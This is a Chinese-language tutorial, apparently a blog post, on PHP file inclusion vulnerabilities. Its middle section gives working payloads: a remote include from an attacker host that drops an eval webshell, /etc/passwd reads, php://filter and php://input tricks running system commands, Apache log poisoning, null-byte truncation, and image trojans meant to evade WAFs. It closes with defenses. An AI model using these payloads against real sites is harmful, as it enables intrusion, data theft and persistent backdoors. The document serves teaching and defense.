定義:在經過PHP的函數引入文件時,因爲傳入的文件名沒有通過合理的校驗,從而操做了預想以外的文件,致使意外的文件泄露甚至惡意的代碼注入。php
程序開發人員一般會把可重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程通常被稱爲包含。web
程序開發人員都但願代碼更加靈活,因此一般會將被包含的文件設置爲變量,用來進行動態調用,但正是因爲這種靈活性,從而致使客戶端能夠調用一個惡意文件,形成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中卻很是少,甚至沒有包含漏洞的存在。
PHP常見的致使文件包含的函數以下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麼任何擴展名均可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其源代碼。shell
後2個函數會形成敏感文件被讀取安全
這裏分爲遠程包含,本地包含服務器
include.php:jsp
<?php $i=$_GET["name"]; include($i); ?>
而後phpinfo.txt函數
<?php phpinfo(); ?>
payload:http://127.0.0.1/?include.php?name=phpinfo.txt測試
思考:ui
直接打開127.0.0.1/phpinfo.txt是不執行的,仍是會被看成txt顯示源碼,可是經過構造payload就能夠,這裏思考利用:若是name傳參數傳一個看似安全的格式,實則不安全,能夠留後門。能夠包含過狗,包含後門。包含一句話。通常安全狗對txt不查殺,把危險的東西放入txt,而後利用包含漏洞來鏈接菜刀,拿webshell加密
包含:將包含文件以腳本解析執行
遠程包含本地包含區別和原理:
php.ini設置allow_url_include開關
設置爲on表明能夠遠程包含:好比http://127.0.0.1/?include.php?name=http://127.0.0.1/phpinfo.txt
利用:
易酷CMS2.5文件包含漏洞
這個屬於本地包含漏洞,首先先構造寫入一句話木馬,因爲沒有上傳點,這時候利用日誌功能:
訪問錯誤,這時一句話木馬會記錄到temp/logs/,只不過{~eval($_POST[x])}在日誌文件裏,並且是txt格式
這是文件包含,使用了日誌裏面的一句話木馬,而後菜刀直接連上!
其餘利用大全:
1.讀取敏感文件
訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
若是目標主機文件存在,而且有相應的權限,那麼就能夠讀出文件的內容。反之,就會獲得一個相似於;open_basedir restriction in effect的警告。
2.遠程包含Shell
若是目標主機allow_url_fopen選項是激活的,就能夠嘗試遠程包含一句話木馬,如:http://www.attacker.com/echo.txt,代碼以下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。將會在index.php所在的目錄下生成shell.php,內容爲:
<?php eval($_POST[xxser]);?>
3.本地包含配合文件上傳
假設已經上傳一句話圖片木馬到服務器,路徑爲:/uploadfile/xxx.jpg
圖片代碼以下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含這張圖片,將會在index.php所在的目錄下生成shell.php。
4.使用PHP封裝協議
4.1 使用封裝協議讀取PHP文件
例子以下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
訪問URL,獲得通過Base64加密後的字符串,這段代碼就是Base64加密事後的PHP源代碼,解密後就可獲得本來的「樣貌」。
4.2 寫入PHP文件(或者遠程被包含的文件中含有寫入執行的php代碼)
在allow_url_include爲On時,構造URL:http://www.example.com/index.php?page=php://input,而且提交數據爲:<?php system('net user');?>
會獲得net user命令的結果。
5.包含Apache日誌文件
本地文件包含的利用。
Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>,操做這一步時,須要Burp,不然<,>,空格都會被轉碼。
隨後訪問http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用這種方式時,找到Apache的路徑是關鍵。
6.截斷包含
<?php
if(isset($_GET['page'])){
include $_GET['page'].".php";
}else{
include 'home.php';
}
?>
若是此時存在一個圖片木馬,名爲1.jpg,能夠輸入以下URL:http://www.example.com/index.php?page=1.jpg%00
固然這種方法只適用於magic_quotes_gpc=Off的狀況下。
7.繞過WAF防火牆
圖片木馬通常不會被web殺毒軟件查出來。
想辦法上傳一個文件,包含有後門,而後引用就能夠了
發現:
include(),include_once(),require(),require_once(),fopen(),readfile()包含的是不是動態的變量,是的話,測試之
4、防護方法
1.嚴格判斷包含的參數是否外部可控,由於文件包含漏洞利用成功與否的關鍵點就在於被包含的文件是否可被外部控制;
2.路徑限制:限制被包含的文件只能在某一文件夾內,必定要禁止目錄跳轉字符,如:「../」;
3.包含文件驗證:驗證被包含的文件是不是白名單中的一員;
4.儘可能不要使用動態包含,能夠在須要包含的頁面固定寫好,如:include("head.php");,不要把被包含的寫成變量!。
後記
include和require語句是相同的,除了錯誤處理方面:
reuqire會生成致命錯誤(E_COMPILE_ERROR)並中止腳本
include只生成錯誤報告(E_WARING),而且腳本會繼續
require和require_once的差異是,require重複調用會屢次加載你引用的文件,而require_once只加載一次,而無論你實際上調用了多少次,主要用於複雜的文件包含關係。
include和include_once的差異也能夠以此類推。
JSP包含分兩種方式:靜態包含和動態包含。1、靜態包含<%@include file="page.txt"%>爲JSP的靜態包含語句,靜態包含語句先進行包含,再作處理操做。JSP語法規定,include指令爲靜態包含,只容許包含一個已經存在於服務器中的文件,而不能使用變量來控制包含某個文件,這就意味着使用include指令將不存在文件包含漏洞。2、動態包含<jsp:inclde page="page.txt"/>爲動態包含語句,在運行時會先處理被包含頁面,而後再包含,並且能夠包含一個動態頁面(變量)。但在包含一個非JSP文件擴展名時,即便其內容符合JSP語法規範,也會只讀取其源代碼,而不會解析其JSP代碼。